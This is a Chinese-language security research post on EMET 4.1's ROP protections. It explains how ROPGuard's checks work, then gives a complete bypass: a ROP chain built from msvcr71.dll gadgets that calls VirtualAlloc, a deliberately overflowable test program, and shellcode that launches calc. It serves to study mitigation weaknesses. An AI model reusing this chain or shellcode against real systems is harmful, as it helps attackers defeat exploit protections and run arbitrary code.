欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]绕过EMET4.1关于ROP的防护

[原创]绕过EMET4.1关于ROP的防护

绕过EMET4.1关于ROP的防护
      Emet从3.5开始引入关于ROP的防护机制,该防护机制大部分来自2012年BlueHat获奖者Ivan Fratric的作品“ROPGurad”。本文先介绍ROPGuard的工作原理以及相应的emet4.1的部分实现,再分析一种绕过ROP防护的方法,最后通过一个例子实践该方法。
●
ROPGuard的原理以及相应emet4.1的部分实现

      Ropguard.exe将ropguarddll.dll通过CreateRemoteThread注入到目标进程中实现rop的检测功能,核心功能位于ropguarddll.dll中。在ropguarddll.dll被加载后,先于DllMain函数,创建全局对象(ROPGuard)的构造函数被执行,如下:

class ROPGuard

{

public:

  //this code gets called when ROPGuard's dll is injected into a process

    ROPGuard() {

    //read settings

    ReadROPSettings();

    //create executable memory cache if needed

    if(GetROPSettings()->executableModuleCache) {

      InitCacheData();

    }

    //patch all critical functions

    PatchFunctions();

    if(GetROPSettings()->showMessageBoxOnLoaded) {

      MessageBoxA(NULL, "Successfully loaded ROPGuard dll into target process", "ROPGuard", MB_OK);

    }

  }

};

//ROPGuard object

ROPGuard h;


1.  其中ReadROPSettings()读取配置文件
2.  GetROPSettings()->executableModuleCache该属性的值表明是否建立可执行模块的缓存信息,出于后期检查返回地址是否位于可以执行模块内的需要,为提高效率而考量。
3.  PatchFunctions()遍历所有要保护的关键函数(根据配置文件读取)进行inline patch,核心功能都透过PatchFunction()函数实现。
…

ret = PatchFunction(guardedFunctions[i].moduleName, 

      guardedFunctions[i].functionName,

      &(guardedFunctions[i].originalAddress),

      &(patchcode[patchsizeused]));

if(ret) {

      guardedFunctions[i].originalAddress = guardedFunctions[i].originalAddress^ADDR_SCRAMBLE_KEY;

      guardedFunctions[i].patchedAddress = (unsigned long)(&(patchcode[patchsizeused]));

      patchsizeused += 100;

    } else {

      guardedFunctions[i].originalAddress = 0;

    }

…


PatchFunction函数原型:
int PatchFunction(
char *moduleName, //关键函数所在的dll名
char *functionName, //关键函数名
unsigned long *originalAddress, //关键函数
unsigned char *patchcode   //保存要被patch上的代码
);
PatchFunction()主要做以下几件事:
(1)  根据配置文件中表明的关键函数所在的dll名字以及函数名获得该函数的地址
(2)  Patch关键函数的函数头,主要内容如下:
SUB ESP, PRESERVE_STACK //抬高栈顶

PUSHAD //保存进入关键函数前的通用寄存器的值

PUSH ESP

PUSH functionAddress //保存经过处理的关键函数地址

CALL ROPCheck  //实现各个rop检测功能的入口函数

ADD ESP, PRESERVE_STACK + space taken by PUSHAD //平衡堆栈

jmp patchHeaderEnd //跳到原函数真实入口地址

…


ROPCheck函数原型:
void __stdcall ROPCheck(
unsigned long functionAddress, 
unsigned long *registers);
在进入ROPCheck时,栈分布的情况如下:

如上图,进入ROPCheck后:
framePointer = registers[2];
stackPointer = registers[3];
ROPCheck函数根据读取的配置信息判断是否执行以下调用:
(1)
CheckFunctionAddressOnStack(functionAddress, 
(unsigned long *)stackPointer);
检查关键函数地址是否直接放在栈上(位于上图preservestack所示区域),主要用来检测类似以下情况:
…

  关键函数地址    //此时eip被控制,指向这里

  0xAABBCCDD      //构造的返回地址

  Arg1

  Arg2

  Arg3

  Arg4

  …


Eip被控制,进入关键函数后
->patch header->ROPCheck
-> CheckFunctionAddressOnStack
  此时关键函数的地址位于preservestack区域,该方法则可检测出来。
(2)
CheckStackPointer(stackPointer + GetROPSettings()->preserveStack);
检查当前栈指针的值是否合理。
(3)
CFCheckReturnAddress(returnAddress, functionAddress, registers);
a.  检查“关键函数的返回地址”是否具有可执行属性(先查询是否位于可执行模块的缓存里,如果没有则调用VirtualQuery查询)
b.  检查“关键函数的返回地址”所指向的指令的前一条指令是否为call指令,该部分检测通过PrecedeByCall实现:
int PrecededByCall(unsigned char *address);
针对32位操作系统主要检测四种类型:
①if(*(address-5) == 0xE8) return 1;
针对 “call xxxxxxxx”的间接跳转
②if(*(address-7) == 0x9A) return 1;
针对 “call AAAABBBBBBBB”的直接远跳,其“AAAA”代表16位的段选择子,“BBBBBBBB”代表32位偏移。
③for(i=2;i<8;i++) 
{
if((*(address-i) == 0xFF) && (((*(address-i+1))&0x38)==0x10)) return 1;
}
针对“call [内存地址] ”,opcode为“FF15 [xxxxxxxx]”
④for(i=2;i<10;i++) 
{
if((*(address-i) == 0xFF) && (((*(address-i+1))&0x38)==0x18)) return 1;
}
针对“call far[内存地址] ”,opcode为“FF1D [xxxxxxxx]”
(4)
CheckStackFrames((DWORD *)(stackPointer + GetROPSettings()->preserveStack), (DWORD *)framePointer);
a.  检查EBP指向的进入关键函数前的栈帧底部是否位于栈中,检查该栈帧底部是否位于stackPointer的“下面”。
b.  向上回溯一定数量(根据配置信息)的栈帧,检查每一个ebp的值是否位于栈中;检查每一个返回地址是否可执行区域,返回地址所在的指令的上一条指令是否为call指令。向上回溯栈帧示意图如下:

(5)
SimulateProgramFlow(stackPointer + GetROPSettings()->preserveStack, currentFunction->stackIncrement * 4);
模拟跟踪关键函数执行结束后的一定数量(根据配置信息)的指令,只关注可以改变esp的指令(push、pop、retn等),其他指令跳过。一旦遇到retn指令,则检查1)返回地址是否具有可执行属性;2)返回地址处的指令的上一条指令是否为call指令(调用CFCheckReturnAddress)。满足以下任一条件,模拟跟踪过程结束:
①一定数量的指令模拟完
②遇到改变执行流程的指令(call,jmp等,retn除外)
(6)
检测LoadLibraryExW的参数,是否使用了SMB路径。
(7)
如果当前关键函数是“VirtualProtect”/“VirtualProtectEx”则检测第一/二个参数是否是栈地址。
接下来看emet4.1中的关于rop检测(LoadLib、MemProt、Caller、SimExecFlow、StackPivot)的部分实现。

进入关键函数(以VirtualAlloc为例),立即跳到inline-patch部分“jmp 3c960a0a”

当前栈空间和寄存器情况

进入到3c960a0a,保存进入critical function之前的信息。

跟入call emet.005a0ca6,经分析部分核心结果如下:
定位关键函数

先获取当前关键函数的地址,如这里调用rtldecodepointer后,eax=7C809AE1(VirtualAlloc的地址)。

0059F415函数以关键函数地址和原stackpointer为参数,确定当前关键函数是哪一个,如下所示:

检查关键函数是否来自call指令
默认返回地址的上一条指令的地址为“返回地址-6”

0059F0C4  FF50 20    call    dword ptr [eax+20]   ; EMET.005A7430  //检测上条指令是否是call

Simexecflow

0059EEA7   FF53 20   call    dword ptr [ebx+20]    ; EMET.005A7430
从关键函数的返回地址开始的simexecflow检测,在遇到跳转指令(retn除外)则结束该检测。在遇到retn指令时,通过VirutalQuery查看retn的目的地址是否可执行,如果可执行则继续按照执行流程取指令检查之。


检查当前stackpointer是否位于栈中

函数00593548获取栈top、bottom的值。
VitualPrtotect/VirtualProtectEx/VirtualAlloc/VirtualAllocEx的处理
检测到关键函数是VitualProtect/VirtualProtectEx和VirtualProtect/VirtualProtectEx时候,emt分别给其标记为“1”,“2”。
VitualAlloc/VirtualAllocEx 标记为1:

VirtualProtect/VirtualProtectEx标记为2:

提取参数VitualPrtotect(第1,2,3个)/VirtualProtectEx(第2,3,4个)/VirtualAlloc(第1,2,4个)/VirtualAllocEx(第2,3,5个)。首先判断需要修改的内存页面属性值,将其与0xf0进行“test”,结果不为零则表示包含可执行属性。
(PAGE_EXECUTE 0X10;PAGE_EXECUTE_READ 0X20;PAGE_EXECUTE_READWRITE 0X40;
PAGE_EXECUTE_WRITECOPY 0X80;PAGE_NOACCESS 0X01;PAGE_READONLY 0X02;
PAGE_READWRITE 0X04;…)

接着,“sete al”(将ZF标志位值置给al)

进入0059f5e5


判断关键函数是否是标记为“2”的VirtualProtect /VirtualProtectEx,如果不是则置eax=1。如果是则检查保护属性参数是否含有可执行属性(“test byte ptr[esi+c],0F0”结果非0表示含有可执行属性),如果没有jnz跳转后置eax=1,如果有则计算要修改的内存属性地址+size是否位于栈top和bottom之间,如果是则置eax=0,如果不是则置eax=1,即如下表格:

如下图005a0fce处判断eax的值,栈内则认为检测到rop行为,认定有rop行为后从005a0fd2开始后续处理,直至弹框报警。


由此可以看出emet4.1在这方面只对VirtualProtect/VirtualProtectEx做出检测是否向栈区域内存添加可执行属性,而没有检测VirtualAlloc/VirtualAllocEx。
●
Bypassing ROP protection of emet4.1

综述要绕过eme4.1关于rop的防护可以考虑以下两点:
1.  选择VirtualAlloc/VirtualAllocEx。
2.  必须通过call指令(来自加载的系统或程序自身的所有模块中)将控制流程交给VirtualAlloc/VirtualAllocEx。
根据Jared Demott的《BYPASSING EMET4.1》所述,msvcrt71.dll中含有如下指令,通过“call [内存地址]”调用VirtualAlloc。

由此作为绕过rop的核心方法,该方法可绕过caller、simexecflow(7c34A464处的jnz跳转指令结束该检测)、memprot、stackpivot,Shellcode的实现不通过UNC path加载dll即可绕过LoadLib,构造rop链如下:
//阶段(0) 配合之后的指令

"\x2e\x40\x34\x7c"  //0x7c34402e :  # POP EDX # RETN    ** [msvcr71.dll]

"\x98\xb1\x38\x7c"  //0x7c38b198 ;  [edx]可写 edx = 0x7c38b198

"\x13\x40\x37\x7c"  //0x7c374013 :  # POP EBP # RETN    ** [msvcr71.dll] **

"\x98\xb1\x38\x7c"  //0x7c38b198 ;  [ebp]可读 ebp = 0x7c38b198

//阶段(1) edx<--eax<--esi<--esp,edx准备作为VirtualAlloc的第一个参数

"\x4f\x2f\x37\x7c"  //0x7c372f4f :  # PUSH ESP # AND AL,10 # MOV DWORD PTR DS:[EDX],ECX # POP ESI # RETN

"\x38\x05\x35\x7c"  //0x7c350538 :  # MOV EAX,ESI # POP ESI # RETN

"\x00\x00\x00\x00"  //0x00000000 :  esi = 0

"\xc6\x09\x36\x7c"  //0x7c3609c6 :  # MOV EDX,EAX 

          //      # SUB EDX,ESI # MOV DWORD PTR DS:[EDX-4],ECX 

          //      # POP EDI # POP ESI # POP EBX 

          //      # RETN

"\x41\x41\x41\x41"  //0x41414141 :  占位   edi = 0x41414141

"\x98\xb1\x38\x7c"  //0x7c38b198 :  [esi]可写  esi = 0x7c38b198

"\x41\x41\x41\x41"  //0x41414141 :  占位   ebx = 0x41414141

//(2)ecx<--0x7c34a459

"\x19\xc0\x36\x7c"  //0x7c36c019 :  # POP ECX # RETN  ecx = 0x7c34a459

"\x59\xa4\x34\x7c"  //0x7c34a459,  # "call VirtualAlloc"

//阶段(3) 布置VirtualAlloc的参数

"\xce\x25\x34\x7c"  //0x7c3425ce :  # PUSH EDX # OR AL,39 //edx=第一个参数

          //      # PUSH ECX # OR BYTE PTR SS:[EBP+5],DH # MOV EAX,1 

          //      # RETN    ** [msvcr71.dll] **   |   {PAGE_EXECUTE_READ}

"\x00\x02\x00\x00"  //0x00000200,  # dwsize

"\x00\x10\x00\x00"  //0x00001000,  # flAllocationType

"\x40\x00\x00\x00"  //0x00000040,  # flProtect

"\x41\x41\x41\x41"  //0x41414141,  # junk

"\x42\x42\x42\x42"  //0x42424242,  # junk

"\x30\x5c\x34\x7c";  //0x7c345c30,  # ptr to 'push esp # ret ' [msvcr71.dll] 之后跟shellcode


考虑到阶段(1),阶段(3)的rop指令会用到向[EDX],[EBP]里面读写内容,所以阶段(0)指令使得[EDX],[EBP]可读写
"\x2e\x40\x34\x7c"  //0x7c34402e :  # POP EDX # RETN    ** [msvcr71.dll]

"\x98\xb1\x38\x7c"  //0x7c38b198 ;  [edx]可写 edx = 0x7c38b198

"\x13\x40\x37\x7c"  //0x7c374013 :  # POP EBP # RETN    ** [msvcr71.dll] **

"\x98\xb1\x38\x7c"  //0x7c38b198 ;  [ebp]可读 ebp = 0x7c38b198


阶段(1)使得esp的值间接传给edx,而edx在阶段(3)成为VirtualAlloc的第一个参数。另外又
考虑到在调用VirtualAlloc返回之后(7C34A45F)开始,直到(7C34A491)retn指令,如下:
7C34A459       FF15 94A0377C   call    dword ptr [7C37A094]    ; kernel32.VirtualAlloc

7C34A45F       3BC7            cmp     eax, edi

7C34A461       8946 0C         mov     dword ptr [esi+C], eax

7C34A464       75 12           jnz     short 7C34A478

…

7C34A478      834E 08 FF      or      dword ptr [esi+8], FFFFFFFF

7C34A47C      893E            mov     dword ptr [esi], edi

7C34A47E      897E 04         mov     dword ptr [esi+4], edi

7C34A481      FF05 F417397C   inc     dword ptr [7C3917F4]

7C34A487      8B46 10         mov     eax, dword ptr [esi+10]

7C34A48A      8308 FF         or      dword ptr [eax], FFFFFFFF

7C34A48D      8BC6           mov     eax, esi

7C34A48F      5E              pop     esi

7C34A490      5F              pop     edi

7C34A491      C3              retn


会涉及到[esi]、[esi+4]、[esi+8]、[esi+C]、[esi+10]的读写操作,所以阶段(1)如下的指令使[esi]可读写。
"\xc6\x09\x36\x7c"  //0x7c3609c6 :  # MOV EDX,EAX 

        //      # SUB EDX,ESI # MOV DWORD PTR DS:[EDX-4],ECX 

        //      # POP EDI # POP ESI # POP EBX 

        //      # RETN

"\x41\x41\x41\x41"  //0x41414141 :  占位   edi = 0x41414141

"\x98\xb1\x38\x7c"  //0x7c38b198 :  [esi]可读写  esi = 0x7c38b198


●
测试实例

测试程序:具有缓冲区溢出的程序
测试系统:windows xp sp3 chs
测试目标dll:msvcr71.dll
void func()

{

  char buf[8];

  //绕过rop防御机制

  memcpy(buf, rop_chain4, sizeof(rop_chain4) - 1);

  memcpy(buf+sizeof(rop_chain4) - 1, shellcode1, sizeof(shellcode1)-1);

}

int _tmain(int argc, _TCHAR* argv[])

{

  char buff[400];

  memset(buff, 0, 400);

  LoadLibrary("msvcr71.dll");

  func();

  getchar();

  return 0;

}


Rop链
char rop_chain4[]=

//(0)

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //填充buffer

"\x2e\x40\x34\x7c"  //0x7c34402e :  # POP EDX # RETN    ** [msvcr71.dll]

"\x98\xb1\x38\x7c"  //0x7c38b198 ; [edx]可写 edx = 0x7c38b198

"\x13\x40\x37\x7c"  //0x7c374013 :  # POP EBP # RETN    ** [msvcr71.dll] **

"\x98\xb1\x38\x7c"  //0x7c38b198 ; [ebp]可写 ebp = 0x7c38b198

//(1)edx<--eax<--esi<--esp

"\x4f\x2f\x37\x7c"  //0x7c372f4f :  # PUSH ESP # AND AL,10 # MOV DWORD PTR DS:[EDX],ECX # POP ESI # RETN

"\x38\x05\x35\x7c"  //0x7c350538 :  # MOV EAX,ESI # POP ESI # RETN

"\x00\x00\x00\x00"  //0x00000000 :  esi = 0

"\xc6\x09\x36\x7c"  //0x7c3609c6 :  # MOV EDX,EAX 

          //    # SUB EDX,ESI # MOV DWORD PTR DS:[EDX-4],ECX 

          //    # POP EDI # POP ESI # POP EBX 

          //    # RETN

"\x41\x41\x41\x41"  //0x41414141 :  占位   edi = 0x41414141

"\x98\xb1\x38\x7c"  //0x7c38b198 :  [esi]可写 esi = 0x7c38b198

"\x41\x41\x41\x41"  //0x41414141 :  占位   ebx = 0x41414141

//(2)ecx<--0x7c34a459

"\x19\xc0\x36\x7c"  //0x7c36c019 :  # POP ECX # RETN  ecx = 0x7c34a459

"\x59\xa4\x34\x7c"  //0x7c34a459,  # "call VirtualAlloc"

//(3)  

"\xce\x25\x34\x7c"  //0x7c3425ce :  # PUSH EDX # OR AL,39 

          //    # PUSH ECX # OR BYTE PTR SS:[EBP+5],DH # MOV EAX,1 

          //    # RETN    ** [msvcr71.dll] **   |   {PAGE_EXECUTE_READ}

"\x00\x02\x00\x00"  //0x00000200,  # dwsize

"\x00\x10\x00\x00"  //0x00001000,  # flAllocationType

"\x40\x00\x00\x00"  //0x00000040,  # flProtect

"\x41\x41\x41\x41"  //0x41414141,  # junk

"\x42\x42\x42\x42"  //0x42424242,  # junk

"\x30\x5c\x34\x7c";  //0x7c345c30,  # ptr to 'push esp # ret ' [msvcr71.dll] 之后跟shellcode


Shellcode //弹出calc
unsigned char shellcode1[227] = {

  0xE9, 0x9E, 0x00, 0x00, 0x00, 0x56, 0x31, 0xC0, 0x64, 0x8B, 0x40, 0x30, 0x85, 0xC0, 0x78, 0x0F, 

  0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD, 0x8B, 0x40, 0x08, 0xE9, 0x09, 0x00, 0x00, 0x00, 0x8B, 

  0x40, 0x34, 0x8D, 0x40, 0x7C, 0x8B, 0x40, 0x3C, 0x5E, 0xC3, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 

  0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x01, 0xEA, 0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 

  0xE3, 0x37, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE, 0x31, 0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 

  0x74, 0x0A, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE9, 0xF1, 0xFF, 0xFF, 0xFF, 0x3B, 0x7C, 0x24, 0x28, 

  0x75, 0xDE, 0x8B, 0x5A, 0x24, 0x01, 0xEB, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x01, 0xEB, 

  0x8B, 0x04, 0x8B, 0x01, 0xE8, 0x89, 0x44, 0x24, 0x1C, 0x61, 0xC3, 0xAD, 0x50, 0x52, 0xE8, 0xA7, 

  0xFF, 0xFF, 0xFF, 0x89, 0x07, 0x81, 0xC4, 0x08, 0x00, 0x00, 0x00, 0x81, 0xC7, 0x04, 0x00, 0x00, 

  0x00, 0x39, 0xCE, 0x75, 0xE6, 0xC3, 0xE8, 0x19, 0x00, 0x00, 0x00, 0x98, 0xFE, 0x8A, 0x0E, 0x7E, 

  0xD8, 0xE2, 0x73, 0x81, 0xEC, 0x08, 0x00, 0x00, 0x00, 0x89, 0xE5, 0xE8, 0x55, 0xFF, 0xFF, 0xFF, 

  0x89, 0xC2, 0xEB, 0xE2, 0x5E, 0x8D, 0x7D, 0x04, 0x89, 0xF1, 0x81, 0xC1, 0x08, 0x00, 0x00, 0x00, 

  0xE8, 0xB6, 0xFF, 0xFF, 0xFF, 0xEB, 0x0E, 0x5B, 0x31, 0xC0, 0x50, 0x53, 0xFF, 0x55, 0x04, 0x31, 

  0xC0, 0x50, 0xFF, 0x55, 0x08, 0xE8, 0xED, 0xFF, 0xFF, 0xFF, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 

  0x78, 0x65, 0x00

};


开启dep及所有rop保护:

执行测试程序,shellcode执行成功,且emet4.1无报警。


●
部分参考内容:

[1] http://www.microsoft.com/security/bluehatprize/
[2]https://code.google.com/p/ropguard/
[3] http://labs.bromium.com/2014/02/24/bypassing-emet-4-1/
http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf
[4]EMET4.1 Uncovered. http://0xdabbad00.com/wpcontent/uploads/2013/11/emet_4_1_uncovered.pdf
[5]EMET User`s Guide.pdf
格式有点儿乱,贴图不是很清晰的见
绕过EMET4.1关于ROP的防护.rar

上传的附件 1.png
2.png
3.png
4.png
5.png
6.png
7.png
8.png
9.png
10.png
11.png
12.png
13.png
14.png
15.png
16.png
17.png
18.png
19.png
20.png
21.png
22.png
23.png
24.png
25.png
26.png
27.png
绕过EMET4.1关于ROP的防护.rar
28.png

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功